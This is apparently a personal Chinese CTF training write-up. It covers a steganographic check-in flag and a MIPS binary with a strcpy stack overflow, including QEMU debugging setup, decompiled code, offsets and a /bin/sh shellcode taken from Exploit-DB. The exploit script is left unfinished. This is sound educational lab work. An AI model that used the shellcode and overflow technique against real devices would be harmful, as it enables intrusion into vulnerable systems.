训练赛记录
前言
这周做了UCAS的内部赛, 调出来pwn的时候才知道比赛时间只有11小时orz, 大佬们做的最多的是re1, 然而我ida打开以后看到一堆函数就不想看了233, 最终只提交了一个签到题, orz我好菜
checkin
文件: checkin.png
LSB低位隐写,提取出来
XcHVycGxle2V6X2NoMVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD303032653732333338636361313061626437387D
后半段 303032653732333338636361313061626437387D
看起来是16进制串,解出来 002e72338cca10abd78}
中段 MVRWWX3JNZPWKN3GHBRDCOJYGQ3TMZDD
是base32: eck_in_e7f8b198476dc
首段看起来是base64,解不出来,猜测是 purple{ch
用base64以后是 cHVycGxle2No
跟 XcHVycGxle2V6X2No
比较,看起来多了个X
解出来 purple{ez_ch
结果:purple{ez_check_in_e7f8b198476dc002e72338cca10abd78}
PWN1
文件在这里下载: bin.233
题目给了一个binfile, checksec
Arch: mips-32-big |
fine…mips环境搞起来
0x01 QEMU MIPS调试环境搭建
下载虚拟机和内核文件 https://people.debian.org/~aurel32/qemu/mips/
这里下载 debian_wheezy_mips_standard.qcow2
和 vmlinux-3.2.0-4-4kc-malta
我宿主机是Vmware的Ubuntu 16.04, 在里面开qemu虚拟机, 采用网桥的方式建立MIPS虚拟机和Ubuntu的连接
安装QEMU:
apt-get install -y qemu qemu-user-static qemu-system |
下载虚拟机和内核文件
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2 && |
然后,虚拟机,启动!
sudo qemu-system-mips \ |
账号密码都是root, 然后添加了端口映射, 便于在Ubuntu里调试
给Ubuntu安装pwndbg和调试MIPS的插件:git clone https://github.com/pwndbg/pwndbg &&
cd pwndbg &&
sudo bash setup.sh &&
sudo apt install gdb-multiarch
关于调试:
我在qemu虚拟机里装了gdb和socat, 即:
apt-get install gdb socat |
然后把要调试的文件传到了免费网盘github, 之后通过wget下载到qemu虚拟机中
然后用socat启动gdb调试, 这里的1234端口是上面启动虚拟机的时候设置的端口映射
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"gdb bin.233" |
这样我们在Ubuntu机里就可以用 nc 127.0.0.1 1234
进行连接
输入payload可以用python脚本配合pwntools
如:from pwn import *
r = remote('127.0.0.1', 1234)
后面的操作就相当于开了一个远程调试的gdb, 直接用pwntools发送指令即可, 比如查看栈内存:
r.sendline('x/100wx $sp') |
蛋疼的是mips虚拟机里没法装pwndbg之类的工具, 只能用原始的gdb来调, 不过足够了
0x02 反编译代码分析
我用的是jeb的mips反编译的, 可以试用一个月, 开个虚拟机到期就重置2333
main函数:unsigned int main(unsigned int param0, unsigned int param1) {
setvbuf(*gvar_411214, 6, 2, 6);
setvbuf(**&gvar_411208, 6, 2, 6);
param0 = *&gvar_4111D4 + 4448;
char *v0 = getenv("PWD");
*&ROOT = v0;
menu(param0, 0, 2, 0);
for(int i = 0; i < 16; ++i) {
respond(param0, 0, 2, 0);
}
return 0;
}
menu函数:unsigned int menu(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
system("pwd", param1, param2, param3);
printf("start?");
return read(0, *&gvar_4111D8, 1, param3);
}
respond函数:int respond(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
memset(gvar_4111D8, 0, 4096, param3);
int result = read(0, mesg, 4096, param3);
int v0 = result;
if(result == 0) {
result = fwrite("Client disconnected upexpectedly.\n", 1, 34, **&gvar_41123C);
}
else if(result < 0) {
result = fwrite("recv() error\n", 1, 13, **&gvar_41123C);
}
else { // len(result) > 0, 有输入
printf("%s", mesg, 4096, param3);
result = strtok(mesg, " \t\n", 4096, param3); // 用" \t\n"切割字符串
result = strncmp(result, "GET", 4, param3); // 比较前4个字符
if(result == 0) {
result = strtok(mesg, " \t", 4, param3); // 用" \t"切割字符串
char *filename = result;
result = strtok(mesg, " \t\n", 4, param3); // 用" \t\n"切割字符串
char *protocol = result;
result = strncmp(protocol, "HTTP/1.0", 8, param3); // 比较前8个字符
if(result != 0) {
result = strncmp(protocol, "HTTP/1.1", 8, param3); //比较
if(result != 0) {
return write(1, "HTTP/1.0 400 Bad Request\n", 25, param3);
}
}
result = strncmp(filename, "/", 2, param3);
if(result == 0) {
filename = "/index.html";
}
env_str = *&ROOT;
strcpy(&path, env_str); // path = /home/fish
result = strlen(*&R00T, env_str, 2, param3); // 路径的长度
// 字符串拼接 path = /home/fish + v1,
// 没有计算文件名的长度就直接copy了, 可以导致栈溢出
strcpy(((unsigned int)(result + ((int)(&path)))), filename, 2, param3);
printf("file: %s\n", &path, 2, param3); // 输出path
result = open(&path, 0, 2, param3); // 打开path指向的文件
// 文件存在则输出200 OK, 否则404
result = result != -1 ? write(l, "HTTP/1.0 200 0K\n\n", 17, param3): write(1, "HTTP/1.0 404 Not Found\n", 23, param3);
}
}
return result;
}
0x03 分析
输入的HTTP请求段mesg:
GET /{file} HTTP/1.0
可以看到栈里的数据, strcpy复制的时候没检查长度造成栈溢出, 测得保存的文件路径在$sp + 0x2c处(本机测试的时候路径是/root)
$ra(返回地址寄存器)保存在$sp + 0x134处
/bin/sh也有了, system也有了
看起来是要构造ROP, 但是有一个问题是, payload里不能有\x00不然会截断
但是所有地址都是0x0040开头的, 所以没法构造ROP
本来跳转到 0x00400e68, 现在跳转到 0x7fff6b5a, a(1000b) 最低两个有效位有一个不是0
尝试把shellcode写到栈上然后控制$ra跳转过去
在Exploit-DB上找了个mips 32 big endian的shellcode
shellcode = "\x28\x06\xff\xff" # /* slti a2,zero,-1 */
shellcode += "\x3c\x0f\x2f\x2f" # /* lui t7,0x2f2f */
shellcode += "\x35\xef\x62\x69" # /* ori t7,t7,0x6269 */
shellcode += "\xaf\xaf\xff\xf4" # /* sw t7,-12(sp) */
shellcode += "\x3c\x0e\x6e\x2f" # /* lui t6,0x6e2f */
shellcode += "\x35\xce\x73\x68" # /* ori t6,t6,0x7368 */
shellcode += "\xaf\xae\xff\xf8" # /* sw t6,-8(sp) */
shellcode += "\xaf\xa0\xff\xfc" # /* sw zero,-4(sp) */
shellcode += "\x27\xa4\xff\xf4" # /* addiu a0,sp,-12 */
shellcode += "\x28\x05\xff\xff" # /* slti a1,zero,-1 */
shellcode += "\x24\x02\x0f\xab" # /* li v0,4011 */
shellcode += "\x01\x01\x01\x0c" # /* syscall 0x40404 */
看一下函数返回的操作
break $sp $ra code
0x00400CC0 0x7fff6bd8 0x00400c9c jalr $t9 ; strcpy # 这条指令将执行strcpy
0x00400CC4 0x7fff6bd8 0x00400cc8 nop
0x00400CC8 0x7fff6bd8 0x00400cc8 lw $gp, 0x138+var_128($fp) # strcpy后第一条指令
----------
0x00400D7C 0x7fff6bd8 0x00400d70 lw $ra, 0x138+var_4($sp) # 这里修改了$ra, 我们溢出到栈上覆盖了这个地址后, $ra的值是我们伪造的地址
0x00400D80 0x7fff6bd8 0x00400e68 lw $fp, 0x138+var_8($sp) # 这里伪造的$ra=0x7fff6b5a
0x00400D84 0x7fff6bd8 0x00400e68 addiu $sp, 0x138 # $ra=0x7fff6b5a
0x00400D88 0x7fff6d10 0x00400e68 jr $ra # 跳转回main
直接修改$ra 跳过去就可以, 修改$ra为0x7fff6b5a
测试完以后发现, 会报
Program received signal SIGBUS, Bus error.
GDB is unable to find the start of the function at 0x7fff6b5a
and thus can't determine the size of that function's stack frame.
This means that GDB may be unable to access that stack frame, or
the frames below it.
This problem is most likely caused by an invalid program counter or
stack pointer.
However, if you think GDB should simply search farther back
from 0x7fff6b5a for code which looks like the beginning of a
function, you can increase the range of the search using the `set
heuristic-fence-post' command.
0x7fff6b5a in ?? ()
猜测可能是MIPS需要对齐地址, $sp = 0x7fff6bd8, 所以应该按4字节增长, 设置$ra = $sp + 4 * n
但是实际运行环境的$sp不知道, 得想办法解决一哈
调试环境测试跳转到shellcode可以稳定getshell
0x04 exp
先给出exp…等我想办法找到栈地址再补充
from pwn import * |
题目本身简单..保护全关, 但是麻烦的地方就是调试环境, 一开始用qemu共享库起, 报段错误, 无法运行
m4x师傅给了我一个docker: multiarch-docker
能运行了但是一调试就炸…最后没办法了才直接在虚拟机里跑, 装个gdb然后端口映射233